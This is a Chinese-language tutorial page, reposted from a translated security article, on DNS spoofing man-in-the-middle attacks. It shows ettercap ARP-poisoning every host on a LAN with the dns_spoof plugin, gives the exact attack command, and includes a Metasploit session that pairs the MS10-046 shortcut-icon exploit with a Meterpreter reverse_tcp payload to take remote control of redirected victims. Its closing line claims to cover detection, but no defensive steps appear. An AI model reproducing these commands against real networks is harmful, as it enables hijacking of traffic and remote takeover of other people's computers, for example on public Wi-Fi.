ettercap NG-0.7.3 copyright 2001-2004 ALoR & NaGA
Listening on eth0... (Ethernet)
eth0 -> 00:1C:23:42:8D:04 192.168.1.12 255.255.255.0
SSL dissection needs a valid &#39;redir_command_on&#39; script in the etter.conf file
Privileges dropped to UID 65534 GID 65534...
28 plugins
39 protocol dissectors
53 ports monitored
7587 mac vendor fingerprint
1698 tcp OS fingerprint
2183 known services
Randomizing 255 hosts for scanning...
Scanning the whole netmask for 255 hosts...
* |==================================================>| 100.00 %
4 hosts added to the hosts list...
ARP poisoning victims:
GROUP 1 : ANY (all the hosts in the list)
GROUP 2 : ANY (all the hosts in the list)
Starting Unified sniffing...
Text only Interface activated...
Hit &#39;h&#39; for inline help
Activating dns_spoof plugin...
在另一个例子中,你可以使用特定的接口来执行dns欺骗攻击。为此,可以使用如下命令:
root@bt:~# ettercap -T -q -i eth0 -P dns_spoof -M arp // //
DNS欺骗是一种非常危险的攻击,因为攻击者可以利用ettercap的dns_spoof插件和其他工具执行攻击。最终,攻击者可以使用一个社会工程工具包(作者这里指的应该是SET了)来执行攻击去控制受害者的电脑。想象一下这是多少容易,通过社会工程工具包和DNS欺骗技术你所需要做得就是配置你的社会工程工具包和你的IP清单,制作像谷歌一样的网站欺骗域名到你的IP地址上。当受害者打开google,你的攻击将使它访问你的IP,之后建立一个远程的会话。
让我们来考虑一个示例场景:下面是是metasploit 渗透工具使用ettercap进行dns欺骗。选择你想要的exploit,在payload中我们就选择 reverse_tcp:
root@bt:~# msfconsole
o 8 o o
8 8 8
ooYoYo. .oPYo. o8P .oPYo. .oPYo. .oPYo. 8 .oPYo. o8 o8P
8&#39; 8 8 8oooo8 8 .oooo8 Yb.. 8 8 8 8 8 8 8
8 8 8 8. 8 8 8 &#39;Yb. 8 8 8 8 8 8 8
8 8 8 `Yooo&#39; 8 `YooP8 `YooP&#39; 8YooP&#39; 8 `YooP&#39; 8 8
..:..:..:.....:::..::.....::.....:8.....:..:.....::..::..:
::::::::::::::::::::::::::::::::::8:::::::::::::::::::::::
::::::::::::::::::::::::::::::::::::::::::::::::::::::::::
=[ metasploit v3.7.0-release [core:3.7 api:1.0]
+ -- --=[ 684 exploits - 355 auxiliary
+ -- --=[ 217 payloads - 27 encoders - 8 nops

msf > usewindows/browser/ms10_046_shortcut_icon_dllloader
msf exploit(ms10_046_shortcut_icon_dllloader) > set SRVHOST 192.168.1.12
SRVHOST => 192.168.1.12
msf exploit(ms10_046_shortcut_icon_dllloader) > set PAYLOAD windows/meterpreter/reverse_tcp
PAYLOAD => windows/meterpreter/reverse_tcp
msf exploit(ms10_046_shortcut_icon_dllloader) > set LHOST 192.168.1.12
LHOST => 192.168.1.12
msf exploit(ms10_046_shortcut_icon_dllloader) > exploit
[*] Exploit running as background job.
[*] Started reverse handler on 192.168.1.12:4444
[*]
[*] Send vulnerable clients to \\www.2cto.com \bqokoWwx\.
[*] Or, get clients to save and render the icon of http://<your host>/<anything>.lnk
[*]
[*] Using URL: http://192.168.1.12:80/
[*] Server started.
如果一切正常,我们所需要做得就是根据我们的DNS配置etter文件。看下面这个图:我使用攻击者的IP地址来设置为目标网站。一旦受害者打开该网站,他将被重定向到192.168.1.12中,然后会话开始。










dns欺骗攻击 中间人攻击-DNS欺骗
dns欺骗攻击 中间人攻击-DNS欺骗


这些只是DNS欺骗中最危险的一个方面:受害者不知道发送了什么,因为一切似乎是合情合理的,但不幸的是数据并没有进行正确的传输。此外,这种攻击非常危险,因为攻击者可能会利用这个技术在公共的wi-fi点上,入侵其他电脑。希望这篇文章已经讨论了一个有用的策略来检测ARP欺骗攻击和DNS欺骗攻击。
===============
看了国外很多黑阔的文章发现他们写文章真的很有条理,国内真的应该好好学习下。

作者:Heee翻译自国外网站 from: FreebuF.COM

本文标题:dns欺骗攻击-DNS欺骗攻击及其防护
本文地址: http://www.61k.com/1142355.html

61阅读| 精彩专题| 最新文章| 热门文章| 苏ICP备13036349号-1